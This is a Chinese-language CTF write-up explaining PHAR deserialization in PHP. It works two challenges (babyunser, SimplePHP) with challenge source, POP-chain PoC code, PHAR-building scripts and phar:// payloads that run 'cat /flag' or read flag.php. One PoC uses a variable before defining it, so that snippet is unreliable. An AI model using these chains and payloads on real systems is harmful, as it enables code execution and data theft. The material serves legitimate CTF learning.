PHAR
PHAR(PHP Archive)文件是一種歸檔文件格式,phar文件本質上是一種壓縮文件,會以序列化的形式存儲用戶自定義的meta-data。當受影響的文件操作函數調用phar文件時,會自動反序列化meta-data內的內容,這里就是我們反序列化漏洞的利用點
phar文件的結構
1.a stub可以理解為一個標志,格式為xxx<?php xxx; __HALT_COMPILER();?>,前面內容不限,但必須以__HALT_COMPILER();來結尾,否則phar擴展將無法識別這個文件為phar文件
2.a manifest describing the contentsphar文件本質上是一種壓縮文件,其中每個被壓縮文件的權限、屬性等信息都放在這部分。這部分還會以序列化的形式存儲用戶自定義的meta-data,這是上述攻擊手法最核心的地方
3.the file contents
被壓縮文件的內容
4.[optional] a signature for verifying Phar integrity (phar file format only)簽名,放在文件末尾
將生成的phar文件上傳成功后,使用phar協議讀取文件,在使用phar偽協議解析時,php一大部分的文件系統函數(下圖中的函數)都會將meta-data進行反序列化
phar反序列化利用的條件
- phar文件要能夠上傳到服務器端。
- 要有可用的魔術方法作為“跳板”。
- 文件操作函數的參數可控,且
:
、/
、phar
等特殊字符沒有被過濾
[SWPUCTF 2021 新生賽]babyunser
存在文件上傳,先上傳一個一句話木馬看看
發現會被解析為txt文件,那么先找找源碼看看,利用查看文件的功能看看
index.php
<html>
<title>aa的文件管理器</title>
<body>
<h1>aa的文件管理器</h1>
<a href="upload.php">上傳文件</a>
<br>
<br>
<a href="read.php">查看文件</a>
</body>
</html>
?upload.php
<html>
<title>aa的文件上傳器</title>
<body><form action="" enctype="multipart/form-data" method="post"><p>請選擇要上傳的文件:<p><input class="input_file" type="file" name="upload_file"/><input class="button" type="submit" name="submit" value="上傳"/></form>
</body>
</html><?phpif(isset($_POST['submit'])){$upload_path="upload/".md5(time()).".txt";$temp_file = $_FILES['upload_file']['tmp_name'];if (move_uploaded_file($temp_file, $upload_path)) {echo "文件路徑:".$upload_path;} else {$msg = '上傳失敗';}}
read.php
<?php
include('class.php');
$a=new aa();
?>
<?php
error_reporting(0);
$filename=$_POST['file'];
if(!isset($filename)){die();
}
$file=new zz($filename);
$contents=$file->getFile();
?>
class.php
<?php
class aa{public $name;public function __construct(){$this->name='aa';}public function __destruct(){$this->name=strtolower($this->name);}
}class ff{private $content;public $func;public function __construct(){$this->content="\<?php @eval(\$_POST[1]);?>";}public function __get($key){$this->$key->{$this->func}($_POST['cmd']);}
}class zz{public $filename;public $content='surprise';public function __construct($filename){$this->filename=$filename;}public function filter(){if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){die('這不合理');}}public function write($var){$filename=$this->filename;$lt=$this->filename->$var;//此功能廢棄,不想寫了}public function getFile(){$this->filter();$contents=file_get_contents($this->filename);if(!empty($contents)){return $contents;}else{die("404 not found");}}public function __toString(){$this->{$_POST['method']}($_POST['var']);return $this->content;}
}class xx{public $name;public $arg;public function __construct(){$this->name='eval';$this->arg='phpinfo();';}public function __call($name,$arg){$name($arg[0]);}
}
明顯存在php反序列化 ,構造poc后,生成phar文件,將phar文件上傳之后再通過post來cat flag
<?php
class aa{public $name;function __construct(){$this->name = new zz();}
}class ff{private $content;public $func = "assert";function __construct(){$this->content = new xx();}
}class zz{public $filename;public $content='surprise';function __construct(){$this->filename = new ff();}}class xx{public $name;public $arg;
}$a = new aa();
echo urlencode(serialize($a));# 下面這部分就沒改
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub$phar->setMetadata($a); //將自定義的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要壓縮的文件
//簽名自動計算
$phar->stopBuffering();
生成phar的部分可以直接套用
payload
file=phar://upload/a5251443346d8ea6c85877d7ef036536.txt&method=write&var=content&cmd=system("cat /flag")
[SWPU 2018]SimplePHP
查看源碼,提示flag的位置在flag.php
還存在查看文件的模塊,看看能不能利用來查看源碼
file.php
class.php,序列化的代碼,但是給了phar協議的提示
大概率是phar反序列化,function.php主要就是限制上傳文件的后綴
整理一下思路,已知flag在flag.php中,但是沒有辦法直接訪問flag.php,因為在file.php中限制了只能訪問var/www/html下的文件;再看序列化的代碼,不存在unserialize,怎么進行反序列化,通過phar文件自動觸發反序列化;通過文件上傳觸發序列化之后利用file_get_contents來讀取flag.php
開始構造pop鏈
鏈尾毫無疑問是Test::file_get(),file_get在get中被調用,所以觸發get就能調用file_get,從get開始倒推到鏈頭
_get訪問不存在的變量時觸發,Show::_toString,source是不存在的變量無法調用
在C1e4r中,echo可以觸發_toString,destruct在變量摧毀時會自動觸發,所以就形成完整的pop鏈C1e4r::_destruct->Show::_toString->Test::file_get()
poc
$s=new Show;
$t->params['source']="/var/www/html/flag.php";
$t=new Test;
$s->str['str']=$t;
$c=new C1e4r;
$c->str=$s;
生成phar文件上傳后進入 upload頁面拿到文件路徑
用phar偽協議讀取
?file=phar://upload/643dfaadf749736256e05de9e40b864b.jpg
最后進行base64解碼,拿到flag